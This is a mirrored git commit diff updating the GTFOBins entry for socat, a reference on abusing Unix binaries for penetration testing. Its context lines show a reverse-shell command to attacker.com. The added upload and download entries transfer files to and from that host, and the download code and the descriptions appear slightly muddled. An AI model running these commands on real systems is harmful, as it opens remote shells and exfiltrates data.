mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-04-16 03:45:04 +02:00
Update socat.md
This commit is contained in:
parent
89b1753a0d
commit
1f6d44f7a0
@ -23,4 +23,16 @@ functions:
|
|||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
|
./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
|
||||||
|
upload:
|
||||||
|
- description: Run ``socat -u file:path tcp:ip:12345`` on the attacker box to send a file to your box.
|
||||||
|
code: |
|
||||||
|
RHOST=attacker.com
|
||||||
|
RPORT=12345
|
||||||
|
./socat tcp-connect:$RHOST:$RPORT file:path
|
||||||
|
download:
|
||||||
|
- description: Run ``socat -u TCP-LISTEN:12345,reuseaddr OPEN:path,creat`` on your box to receive a file from attacker box.
|
||||||
|
code: |
|
||||||
|
RHOST=attacker.com
|
||||||
|
RPORT=12345
|
||||||
|
./socat tcp-listen:$RHOST:$RPORT,reuseaddr OPEN:path,creat
|
||||||
---
|
---
|
||||||
|
Loading…
x
Reference in New Issue
Block a user